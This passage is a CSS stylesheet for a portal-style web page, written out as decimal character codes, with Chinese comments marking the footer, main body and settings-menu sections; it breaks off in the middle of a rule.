4,101,100,32,35,53,54,57,67,70,67,59,13,10,9,99,111,108,111,114,58,35,48,48,48,59 ,13,10,125,13,10,35,115,112,97,99,101,116,111,111,108,32,46,98,117,116,116,111,11 0,123,98,111,114,100,101,114,58,48,112,120,32,115,111,108,105,100,32,35,48,48,48, 59,32,98,97,99,107,103,114,111,117,110,100,58,35,52,52,52,32,117,114,108,40,34,98 ,117,116,116,111,110,95,98,103,46,103,105,102,34,41,59,32,102,111,110,116,45,115, 105,122,101,58,49,50,112,120,59,32,99,111,108,111,114,58,35,102,102,102,59,32,104 ,101,105,103,104,116,58,50,53,112,120,59,99,117,114,115,111,114,32,58,32,112,111, 105,110,116,101,114,59,32,109,97,114,103,105,110,45,108,101,102,116,58,50,112,120 ,59,125,13,10,46,99,108,101,97,114,103,105,102,123,13,10,9,102,108,111,97,116,58, 32,114,105,103,104,116,59,32,109,97,114,103,105,110,58,32,50,112,120,32,53,112,12 0,32,48,32,48,59,13,10,125,13,10,105,109,103,46,98,108,111,99,107,123,13,10,9,102 ,108,111,97,116,58,32,108,101,102,116,59,13,10,9,109,97,114,103,105,110,58,32,50, 112,120,32,53,112,120,32,48,32,53,112,120,59,13,10,125,13,10,46,99,108,101,97,114 ,103,105,102,32,44,32,46,105,109,103,111,110,99,108,105,99,107,44,105,109,103,46, 98,108,111,99,107,123,13,10,9,99,117,114,115,111,114,58,112,111,105,110,116,101,1 14,59,98,111,114,100,101,114,58,48,112,120,59,13,10,125,13,10,13,10,35,109,111,10 0,117,108,101,100,101,108,123,13,10,9,100,105,115,112,108,97,121,58,110,111,110,1 01,59,13,10,125,13,10,13,10,47,42,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45 ,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,32,42,47,13,10,47,42,32,24213 ,37096,32,42,47,13,10,35,102,111,111,116,101,114,123,13,10,9,99,108,101,97,114,58 ,98,111,116,104,59,13,10,9,104,101,105,103,104,116,58,54,48,112,120,59,13,10,9,10 9,97,114,103,105,110,45,116,111,112,58,53,112,120,59,13,10,125,13,10,35,102,111,111,116,101,114,32,100,105,118,46,108,101,102,116,123,102,108,111,97,116,58,108,10 1,102,116,59,119,105,100,116,104,58,48,112,120,59,125,13,10,35,102,111,111,116,10 1,114,32,100,105,118,46,114,105,103,104,116,123,102,108,111,97,116,58,114,105,103 ,104,116,59,119,105,100,116,104,58,48,112,120,59,125,13,10,35,102,111,111,116,101 ,114,32,100,105,118,46,99,101,110,116,101,114,123,13,10,9,119,105,100,116,104,58, 57,56,37,59,13,10,32,102,108,111,97,116,58,108,101,102,116,59,13,10,125,13,10,35, 102,111,111,116,101,114,32,100,105,118,46,99,111,112,121,114,105,103,104,116,123, 13,10,13,10,9,116,101,120,116,45,97,108,105,103,110,58,114,105,103,104,116,59,13, 10,125,13,10,13,10,35,116,111,112,95,115,116,121,108,101,32,123,32,100,105,115,11 2,108,97,121,58,110,111,110,101,32,125,13,10,35,98,111,116,95,115,116,121,108,101 ,32,123,32,100,105,115,112,108,97,121,58,110,111,110,101,32,125,13,10,46,109,111, 98,117,108,101,95,98,111,116,32,123,32,100,105,115,112,108,97,121,58,110,111,110, 101,32,125,13,10,46,109,111,98,117,108,101,95,116,111,112,32,123,32,100,105,115,1 12,108,97,121,58,110,111,110,101,32,125,13,10,13,10,13,10,47,42,45,45,45,45,45,45 ,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45 ,32,42,47,13,10,47,42,32,20013,38388,20027,20307,32,42,47,13,10,35,115,112,97,99, 101,109,97,105,110,123,13,10,9,99,111,108,111,114,58,35,48,48,48,59,13,10,9,98,97 ,99,107,103,114,111,117,110,100,58,119,104,105,116,101,59,13,10,9,98,111,114,100, 101,114,58,49,112,120,32,115,111,108,105,100,32,35,49,54,55,67,66,57,59,13,10,9,9 8,111,114,100,101,114,45,116,111,112,58,48,112,120,59,13,10,125,13,10,35,115,112, 97,99,101,109,97,105,110,32,97,123,13,10,9,99,111,108,111,114,58,35,48,48,52,50,5 6,52,59,13,10,9,116,101,120,116,45,100,101,99,111,114,97,116,105,111,110,58,32,11 0,111,110,101,59,13,10,125,13,10,35,115,112,97,99,101,109,97,105,110,32,97,58,118 ,105,115,105,116,101,100,44,35,115,112,97,99,101,109,97,105,110,32,97,58,104,111, 118,101,114,123,13,10,9,99,111,108,111,114,58,35,48,48,52,50,56,52,59,13,10,9,116 ,101,120,116,45,100,101,99,111,114,97,116,105,111,110,58,32,110,111,110,101,59,13 ,10,125,13,10,13,10,35,115,112,97,99,101,109,97,105,110,32,100,105,118,46,99,101, 110,116,101,114,123,13,10,9,99,108,101,97,114,58,98,111,116,104,59,13,10,9,112,97 ,100,100,105,110,103,58,48,112,120,13,10,9,98,97,99,107,103,114,111,117,110,100,5 8,119,104,105,116,101,59,13,10,9,109,97,114,103,105,110,58,48,112,120,59,13,10,9, 119,105,100,116,104,58,49,48,48,37,59,13,10,9,116,101,120,116,45,97,108,105,103,1 10,58,99,101,110,116,101,114,59,13,10,125,13,10,13,10,13,10,46,99,111,108,117,109 ,110,123,109,97,114,103,105,110,58,48,112,120,59,112,97,100,100,105,110,103,58,48 ,112,120,59,102,108,111,97,116,58,108,101,102,116,59,111,118,101,114,102,108,111, 119,58,104,105,100,100,101,110,59,125,13,10,46,109,111,100,117,108,101,123,109,97 ,114,103,105,110,58,54,112,120,32,50,112,120,32,50,112,120,32,50,112,120,59,112,9 7,100,100,105,110,103,58,48,112,120,59,98,111,114,100,101,114,58,49,112,120,32,11 5,111,108,105,100,32,35,53,53,57,65,69,52,59,98,97,99,107,103,114,111,117,110,100 ,45,99,111,108,111,114,58,119,104,105,116,101,59,108,105,115,116,45,115,116,121,1 08,101,58,110,111,110,101,59,125,13,10,46,109,111,100,117,108,101,32,46,116,105,1 16,108,101,123,13,10,9,98,97,99,107,103,114,111,117,110,100,58,117,114,108,40,34, 98,103,49,46,103,105,102,34,41,32,35,53,54,57,67,70,67,59,13,10,9,112,97,100,100, 105,110,103,58,48,112,120,59,13,10,9,119,105,100,116,104,58,49,48,48,37,59,13,10, 9,111,118,101,114,102,108,111,119,58,104,105,100,100,101,110,59,13,10,9,102,111,110,116,45,119,101,105,103,104,116,58,98,111,108,100,59,13,10,9,99,111,108,111,114 ,58,119,104,105,116,101,59,13,10,9,104,101,105,103,104,116,58,50,53,112,120,59,13 ,10,9,108,105,110,101,45,104,101,105,103,104,116,58,50,53,112,120,59,13,10,125,13 ,10,46,99,111,110,116,123,13,10,9,112,97,100,100,105,110,103,58,53,112,120,32,48, 32,53,112,120,32,48,59,13,10,9,116,101,120,116,45,97,108,105,103,110,58,99,101,11 0,116,101,114,59,13,10,9,109,105,110,45,104,101,105,103,104,116,58,53,48,112,120, 59,13,10,9,111,118,101,114,102,108,111,119,58,104,105,100,100,101,110,59,13,10,9, 98,97,99,107,103,114,111,117,110,100,58,35,102,102,102,59,13,10,125,13,10,13,10,1 3,10,35,115,112,97,99,101,109,97,105,110,32,46,116,111,112,105,99,32,97,44,35,115 ,112,97,99,101,109,97,105,110,32,46,116,111,112,105,99,32,97,58,108,105,110,107,4 4,35,115,112,97,99,101,109,97,105,110,32,46,116,111,112,105,99,32,97,58,118,105,1 15,105,116,101,100,123,13,10,9,116,101,120,116,45,100,101,99,111,114,97,116,105,1 11,110,58,32,110,111,110,101,59,13,10,9,99,111,108,111,114,58,35,48,48,52,50,56,5 2,59,13,10,9,102,111,110,116,45,115,105,122,101,58,49,50,112,120,59,13,10,9,102,1 11,110,116,45,119,101,105,103,104,116,58,49,48,48,59,13,10,125,13,10,35,115,112,9 7,99,101,109,97,105,110,32,46,116,111,112,105,99,32,97,58,104,111,118,101,114,123 ,13,10,9,99,111,108,111,114,58,35,102,54,48,59,13,10,9,116,101,120,116,45,100,101 ,99,111,114,97,116,105,111,110,58,32,117,110,100,101,114,108,105,110,101,59,13,10 ,125,13,10,13,10,13,10,46,98,111,116,116,111,109,123,13,10,9,119,105,100,116,104, 58,57,54,37,59,13,10,9,104,101,105,103,104,116,58,51,48,112,120,59,13,10,9,13,10, 125,13,10,46,98,111,116,116,111,109,32,46,98,111,116,116,111,109,49,123,13,10,9,1 19,105,100,116,104,58,52,57,37,59,102,108,111,97,116,58,108,101,102,116,59,13,10, 9,116,101,120,116,45,97,108,105,103,110,58,108,101,102,116,59,13,10,125,13,10,46, 98,111,116,116,111,109,32,46,98,111,116,116,111,109,50,123,13,10,9,119,105,100,11 6,104,58,52,56,37,59,102,108,111,97,116,58,108,101,102,116,59,13,10,9,99,111,108, 111,114,58,103,114,97,121,59,13,10,9,116,101,120,116,45,97,108,105,103,110,58,114 ,105,103,104,116,59,13,10,125,13,10,13,10,46,13,10,13,10,35,116,101,109,112,112,9 7,110,110,97,108,123,13,10,9,100,105,115,112,108,97,121,58,110,111,110,101,59,13, 10,125,13,10,13,10,13,10,35,76,101,102,116,67,104,97,110,110,97,108,123,13,10,13, 10,125,13,10,35,77,97,105,110,67,104,97,110,110,97,108,123,13,10,125,13,10,35,77, 97,105,110,67,104,97,110,110,97,108,32,46,109,111,100,117,108,101,123,32,13,10,13 ,10,125,13,10,13,10,35,82,105,103,104,116,67,104,97,110,110,97,108,123,13,10,125, 13,10,35,76,101,102,116,67,104,97,110,110,97,108,44,35,77,97,105,110,67,104,97,11 0,110,97,108,44,35,82,105,103,104,116,67,104,97,110,110,97,108,123,13,10,32,98,11 1,114,100,101,114,58,49,112,120,32,100,97,115,104,101,100,32,35,102,102,102,59,13 ,10,125,13,10,35,77,97,105,110,67,104,97,110,110,97,108,32,46,109,111,100,117,108 ,101,32,46,116,105,116,108,101,123,13,10,9,116,101,120,116,45,97,108,105,103,110, 58,108,101,102,116,59,13,10,125,13,10,35,76,101,102,116,67,104,97,110,110,97,108, 32,46,116,111,112,105,99,44,35,82,105,103,104,116,67,104,97,110,110,97,108,32,46, 116,111,112,105,99,123,13,10,9,119,105,100,116,104,58,57,54,37,59,13,10,9,116,101 ,120,116,45,97,108,105,103,110,58,108,101,102,116,59,13,10,125,13,10,35,76,101,10 2,116,67,104,97,110,110,97,108,32,46,98,111,116,116,111,109,44,35,82,105,103,104, 116,67,104,97,110,110,97,108,32,46,98,111,116,116,111,109,123,13,10,9,100,105,115 ,112,108,97,121,58,110,111,110,101,59,13,10,125,13,10,35,76,101,102,116,67,104,97,110,110,97,108,32,46,98,111,116,116,111,109,50,44,35,82,105,103,104,116,67,104,9 7,110,110,97,108,32,46,98,111,116,116,111,109,50,123,13,10,9,100,105,115,112,108, 97,121,58,110,111,110,101,59,13,10,125,13,10,35,77,97,105,110,67,104,97,110,110,9 7,108,32,46,98,111,116,116,111,109,123,13,10,9,98,111,114,100,101,114,45,98,111,1 16,116,111,109,58,49,112,120,32,100,97,115,104,101,100,32,35,53,54,57,67,70,67,59 ,13,10,125,13,10,13,10,35,77,97,105,110,67,104,97,110,110,97,108,32,46,116,111,11 2,105,99,123,13,10,9,109,97,114,103,105,110,58,51,112,120,59,13,10,9,102,111,110, 116,45,115,105,122,101,58,49,50,112,120,59,13,10,9,99,111,108,111,114,58,35,48,48 ,52,50,56,52,59,13,10,9,116,101,120,116,45,97,108,105,103,110,58,108,101,102,116, 59,13,10,9,116,101,120,116,45,105,110,100,101,110,116,58,49,48,112,120,59,13,10,9 ,112,97,100,100,105,110,103,58,51,112,120,32,48,32,51,112,120,32,48,59,13,10,9,98 ,97,99,107,103,114,111,117,110,100,45,99,111,108,111,114,58,35,68,53,69,65,70,54, 59,13,10,9,98,111,114,100,101,114,45,98,111,116,116,111,109,58,49,112,120,32,115, 111,108,105,100,32,35,66,57,68,52,69,52,59,13,10,125,13,10,13,10,46,104,105,100,1 01,32,46,99,111,110,116,123,100,105,115,112,108,97,121,58,110,111,110,101,59,125, 13,10,46,103,104,111,115,116,123,98,111,114,100,101,114,58,49,112,120,32,100,97,1 15,104,101,100,32,103,114,97,121,59,125,13,10,46,102,108,111,97,116,123,112,111,1 15,105,116,105,111,110,58,97,98,115,111,108,117,116,101,59,122,45,105,110,100,101 ,120,58,49,48,48,59,109,97,114,103,105,110,58,48,112,120,59,112,97,100,100,105,11 0,103,58,48,112,120,59,111,118,101,114,102,108,111,119,58,104,105,100,100,101,110 ,59,108,105,115,116,45,115,116,121,108,101,58,110,111,110,101,59,45,109,111,122,4 5,111,112,97,99,105,116,121,58,46,55,53,59,102,105,108,116,101,114,58,65,108,112, 104,97,40,111,112,97,99,105,116,121,61,55,53,41,59,125,13,10,46,119,101,98,78,111 ,116,101,123,98,111,114,100,101,114,58,49,112,120,32,100,97,115,104,101,100,32,35 ,102,102,102,102,101,48,59,125,13,10,116,101,120,116,97,114,101,97,46,119,101,98, 78,111,116,101,123,111,118,101,114,102,108,111,119,58,104,105,100,100,101,110,59, 119,105,100,116,104,58,49,48,48,37,59,98,97,99,107,103,114,111,117,110,100,58,116 ,114,97,110,115,112,97,114,101,110,116,59,125,13,10,35,76,101,102,116,67,104,97,1 10,110,97,108,32,46,98,111,100,121,49,44,35,82,105,103,104,116,67,104,97,110,110, 97,108,32,46,98,111,100,121,49,123,13,10,125,13,10,35,77,97,105,110,67,104,97,110 ,110,97,108,32,46,98,111,100,121,49,123,13,10,9,102,108,111,97,116,58,108,101,102 ,116,59,119,105,100,116,104,58,53,48,37,59,13,10,125,13,10,47,42,45,45,45,45,45,4 5,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,4 5,32,42,47,13,10,47,42,35774,32622,33756,21333,26679,24335,42,47,13,10,100,105,11 8,46,115,101,116,109,101,110,117,123,98,111,114,100,101,114,58,49,112,120,32,115, 111,108,105,100,32,35,50,50,50,59,112,97,100,100,105,110,103,58,51,112,120,59,99, 111,108,111,114,58,35,50,50,50,59,119,105,100,116,104,58,32,50,54,48,112,120,59,1 12,111,115,105,116,105,111,110,58,97,98,115,111,108,117,116,101,59,122,45,105,110 ,100,101,120,32,58,49,48,48,59,98,97,99,107,103,114,111,117,110,100,45,99,111,108 ,111,114,58,35,101,101,101,59,125,13,10,100,105,118,46,115,101,116,109,101,110,11 7,32,46,116,105,116,108,101,123,109,97,114,103,105,110,45,116,111,112,58,52,112,1 20,59,102,111,110,116,45,119,101,105,103,104,116,58,98,111,108,100,59,112,97,100, 100,105,110,103,58,50,112,120,59,98,97,99,107,103,114,111,117,110,100,45,99,111,1 08,111,114,58,35,101,101,101,59,98,111,114,100,101,114,45,98,111,116,116,111,109,。